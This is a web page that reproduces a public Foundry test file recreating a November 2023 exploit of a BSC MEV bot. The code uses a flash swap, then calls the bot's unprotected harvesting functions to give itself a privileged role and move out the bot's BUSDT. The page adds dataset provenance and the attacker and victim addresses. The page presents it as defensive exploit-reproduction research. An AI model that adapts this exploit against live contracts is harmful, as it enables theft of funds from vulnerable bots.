Skip to content
THREATWIRE

Public reproduction file

src/test/2023-11/MEV_0x8c2d_exp.sol

Public reproduction file for dataset entry MEVBot_0x8c2d.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-11/MEV_0x8c2d_exp.sol100 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~$365K
8// Attacker : https://bscscan.com/address/0x69e068eb917115ed103278b812ec7541f021cea0
9// Attack Contract : https://bscscan.com/address/0x3918e0d26b41134c006e8d2d7e3206a53b006108
10// Victim Contract : https://bscscan.com/address/0x8c2d4ed92badb9b65f278efb8b440f4bc995ffe7
11// Attack Tx : https://explorer.phalcon.xyz/tx/bsc/0x3dcb26a1f49eb4d02ca29960b4833bfb2e83d7b5d9591aed1204168944c8c9b3
13// @Analysis
14// https://twitter.com/Phalcon_xyz/status/1723897569661657553
16contract ContractTest is Test {
17 IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
18 Uni_Pair_V2 private constant WBNB_BUSDT = Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
19 address private constant victimMevBot = 0x8C2D4ed92Badb9b65f278EfB8b440F4BC995fFe7;
20 address private constant assetHarvestingContract = 0x19a23DdAA47396335894229E0439D3D187D89eC9;
22 function setUp() public {
23 vm.createSelectFork("bsc", 33_435_892);
24 vm.label(address(BUSDT), "BUSDT");
25 vm.label(address(WBNB_BUSDT), "WBNB_BUSDT");
26 vm.label(victimMevBot, "victimMevBot");
27 vm.label(assetHarvestingContract, "assetHarvestingContract");
28 }
30 function testExploit() public {
31 deal(address(BUSDT), address(this), 0);
32 bytes memory data = abi.encode(assetHarvestingContract, victimMevBot);
33 WBNB_BUSDT.swap(BUSDT.balanceOf(victimMevBot), 0, address(this), data);
34 }
36 function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
37 // (address _assetHarvestingContract, address _victimMevBot) = abi.decode(
38 // _data,
39 // (address, address)
40 // );
41 BUSDT.approve(assetHarvestingContract, type(uint256).max);
42 uint256 currentTimePlusOne = block.timestamp + 1;
43 uint256 chainId;
44 assembly {
45 chainId := chainid()
46 }
47 // Start exploit
48 // Use function with 0xac3994ec selector to designate privileged role for attacker in the victim contract
49 designateRole(currentTimePlusOne, chainId);
50 // Transfer BUSDT from victim to attacker
51 harvestAssets(currentTimePlusOne, chainId);
52 // End exploit
54 BUSDT.approve(assetHarvestingContract, 0);
56 // Repay BUSDT loan
57 uint256 repayAmount = 1 + (3 * _amount0) / 997 + _amount0;
58 BUSDT.transfer(address(WBNB_BUSDT), repayAmount);
60 emit log_named_decimal_uint(
61 "Attacker BUSDT balance after exploit", BUSDT.balanceOf(address(this)), BUSDT.decimals()
62 );
63 }
65 function designateRole(uint256 time, uint256 chain) internal {
66 (bool success,) = assetHarvestingContract.call(
67 abi.encodeWithSelector(
68 bytes4(0xac3994ec),
69 BUSDT.balanceOf(address(this)),
70 uint8(0),
71 (time << 96) | ((chain << 64) & 0xffffffff0000000000000000),
72 uint8(0),
73 address(BUSDT),
74 uint8(0),
75 uint8(0),
76 address(this)
77 )
78 );
79 require(success, "Call to designateRole() fail");
80 }
82 function harvestAssets(uint256 time, uint256 chain) internal {
83 (bool success,) = assetHarvestingContract.call(
84 abi.encodeWithSelector(
85 bytes4(0x1270d364),
86 BUSDT.balanceOf(address(this)),
87 uint8(0),
88 (time << 96) | ((chain << 64) & 0xffffffff0000000000000000),
89 uint8(0),
90 address(BUSDT),
91 uint8(0),
92 uint8(0),
93 victimMevBot,
94 address(this),
95 uint8(0)
96 )
97 );
98 require(success, "Call to harvestAssets() fail");
99 }

Analysis

Dataset entry

Public Foundry test for “MEVBot_0x8c2d” (2023-11-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x69e068eb917115ed103278b812ec7541f021cea0

  • Attack Contract

    0x3918e0d26b41134c006e8d2d7e3206a53b006108

  • Victim

    0x8c2d4ed92badb9b65f278efb8b440f4bc995ffe7

  • Attack Tx

    0x3dcb26a1f49eb4d02ca29960b4833bfb2e83d7b5d9591aed1204168944c8c9b3

File record

Name
MEVBot_0x8c2d
Path
src/test/2023-11/MEV_0x8c2d_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
f68c48aaae8ee4736aefcc05696beaa687ed5346
Language
Solidity
Size
101 lines
Date
2023-11-12
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-11/MEV_0x8c2d_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f68c48aaae8ee4736aefcc05696beaa687ed5346, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.